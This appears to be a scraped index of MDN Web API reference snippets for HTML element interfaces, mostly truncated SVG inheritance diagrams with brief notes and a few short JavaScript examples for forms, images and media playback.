...e="#d4dde4"/><a xlink:href="/docs/web/api/htmldocument" target="_top"><rect x="386" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="446" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldocument</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} for the purposes of web development, you can generally think of htmldocument as an alias for document, upon which htmldocument is based.
HTMLEmbedElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmlembedelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlembedelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLFieldSetElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
... xlink:href="/docs/web/api/htmlfieldsetelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlfieldsetelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLFormElement.reportValidity() - Web APIs
when false is returned, cancelable invalid events are fired for each invalid child and validation problems are reported to the user.
... syntax htmlformelement.reportvalidity() return value boolean example document.forms['myform'].addeventlistener('submit', function() { document.forms['myform'].reportvalidity(); }, false); specifications specification status comment html living standardthe definition of 'htmlformelement.reportvalidity()' in that specification.
HTMLFormElement.submit() - Web APIs
when invoking this method directly, however: no submit event is raised.
... in particular, the form's onsubmit event handler is not run.
HTMLHRElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...#d4dde4"/><a xlink:href="/docs/web/api/htmlhrelement" target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlhrelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLHeadElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/htmlheadelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlheadelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLHeadingElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...<a xlink:href="/docs/web/api/htmlheadingelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlheadingelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLHtmlElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/htmlhtmlelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlhtmlelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLIFrameElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/htmliframeelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmliframeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLImageElement.decode() - Web APIs
this, in turn, prevents the rendering of the next frame after adding the image to the dom from causing a delay while the image loads.
...without a promise-returning method, you would add the image to the dom in a load event handler, such as by using the img.onload event handler, and by handling the error in the error event's handler.
HTMLImageElement.naturalHeight - Web APIs
javascript let output = document.queryselector(".output"); let image = document.queryselector("img"); window.addeventlistener("load", event => { output.innerhtml += `natural size: ${image.naturalwidth} x ` + `${image.naturalheight} pixels<br>`; output.innerhtml += `displayed size: ${image.width} x ` + `${image.height} pixels`; }); the javascript code simply dumps the natural and as-displayed sizes into the <div> with the class output.
... this is done in response to the window's load event handler, in order to ensure that the image is available before attempting to examine its width and height.
HTMLImageElement.naturalWidth - Web APIs
javascript let output = document.queryselector(".output"); let image = document.queryselector("img"); window.addeventlistener("load", event => { output.innerhtml += `natural size: ${image.naturalwidth} x ` + `${image.naturalheight} pixels<br>`; output.innerhtml += `displayed size: ${image.width} x ` + `${image.height} pixels`; }); the javascript code simply dumps the natural and as-displayed sizes into the <div> with the class output.
... this is done in response to the window's load event handler, in order to ensure that the image is available before attempting to examine its width and height.
HTMLImageElement.sizes - Web APIs
rder-radius: 7em; padding: 1.5em; font: 16px "open sans", verdana, arial, helvetica, sans-serif; } article img { display: block; max-width: 100%; border: 1px solid #888; box-shadow: 0 0.5em 0.3em #888; margin-bottom: 1.25em; } javascript the javascript code handles the two buttons that let you toggle the third width option between 40em and 50em; this is done by handling the click event, using the javascript string object method replace() to replace the relevant portion of the sizes string.
... let image = document.queryselector("article img"); let break40 = document.getelementbyid("break40"); let break50 = document.getelementbyid("break50"); break40.addeventlistener("click", event => image.sizes = image.sizes.replace(/50em,/, "40em,")); break50.addeventlistener("click", event => image.sizes = image.sizes.replace(/40em,/, "50em,")); result this result may be viewed in its own window here.
HTMLImageElement.width - Web APIs
this is done in the window's load and resize event handlers, in order to always provide this information.
... var clockimage = document.queryselector("img"); let output = document.queryselector(".size"); const updatewidth = event => { output.innertext = clockimage.width; }; window.addeventlistener("load", updatewidth); window.addeventlistener("resize", updatewidth); result this example may be easier to try out in its own window.
HTMLInputElement.webkitdirectory - Web APIs
when the change event occurs, a list of all files contained within the selected directory hierarchies is generated and displayed.
... html content <input type="file" id="filepicker" name="filelist" webkitdirectory multiple /> <ul id="listing"></ul> javascript content document.getelementbyid("filepicker").addeventlistener("change", function(event) { let output = document.getelementbyid("listing"); let files = event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications specification status comment file and directory entries apithe definition of 'webkitdirectory' in that specification.
HTMLLIElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...#d4dde4"/><a xlink:href="/docs/web/api/htmllielement" target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmllielement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLLabelElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmllabelelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmllabelelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLLegendElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/htmllegendelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmllegendelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLLinkElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/htmllinkelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmllinkelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and linkstyle.
HTMLMapElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4dde4"/><a xlink:href="/docs/web/api/htmlmapelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmapelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLMarqueeElement - Web APIs
et"><a xlink:href="/docs/web/api/htmlmarqueeelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmarqueeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
... event handlers htmlmarqueeelement.onbounce fires when the marquee has reached the end of its scroll position.
HTMLMediaElement.autoplay - Web APIs
note: some browsers offer users the ability to override autoplay in order to prevent disruptive audio or video from playing without permission or in the background.
... do not rely on autoplay actually starting playback and instead use play event.
HTMLMediaElement.captureStream() - Web APIs
example in this example, an event handler is established so that clicking a button starts capturing the contents of a media element with the id "playback" into a mediastream.
... document.queryselector('.playandrecord').addeventlistener('click', function() { var playbackelement = document.getelementbyid("playback"); var capturestream = playbackelement.capturestream(); playbackelement.play(); }); see recording a media element for a longer and more intricate example and explanation.
HTMLMediaElement.play() - Web APIs
example this example demonstrates how to confirm that playback has begun and how to gracefully handle blocked automatic playback: let videoelem = document.getelementbyid("video"); let playbutton = document.getelementbyid("playbutton"); playbutton.addeventlistener("click", handleplaybutton, false); playvideo(); async function playvideo() { try { await videoelem.play(); playbutton.classlist.add("playing"); } catch(err) { playbutton.classlist.remove("playing"); } } function handleplaybutton() { if (videoelem.paused) { playvideo(); } else { videoelem.pause(); playbutton.classlist.remove("playing"); } } in this ex...
...it then sets up an event handler for the click event on the play toggle button and attempts to automatically begin playback by calling playvideo().
HTMLMediaElement.seekToNextFrame() - Web APIs
in addition, a seeked event is sent to let interested parties know that a seek has taken place.
... if the seek fails because the media is already at the last frame, a seeked event occurs, followed immediately by an ended event.
HTMLMenuElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/htmlmenuelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmenuelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesthis interface has no properties, but inherits properties from: htmlelementmethodsthis interface has no methods, but inherits methods from: htmlelement specifications specification status comment html living standardthe definition of 'htmlmenuelement' in that specification.
HTMLMenuItemElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
... xlink:href="/docs/web/api/htmlmenuitemelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmenuitemelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesthis interface has no properties, but inherits properties from: htmlelementmethodsthis interface has no methods, but inherits methods from: htmlelement specifications specification status comment html 5.1the definition of 'htmlmenuitemelement' in that specification.
HTMLMetaElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/htmlmetaelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmetaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLMeterElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmlmeterelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmeterelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from its parent, htmlelement.
HTMLModElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4dde4"/><a xlink:href="/docs/web/api/htmlmodelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmodelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLOListElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmlolistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlolistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLObjectElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/htmlobjectelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlobjectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLOptGroupElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
... xlink:href="/docs/web/api/htmloptgroupelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloptgroupelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLOptionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/htmloptionelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloptionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLParagraphElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
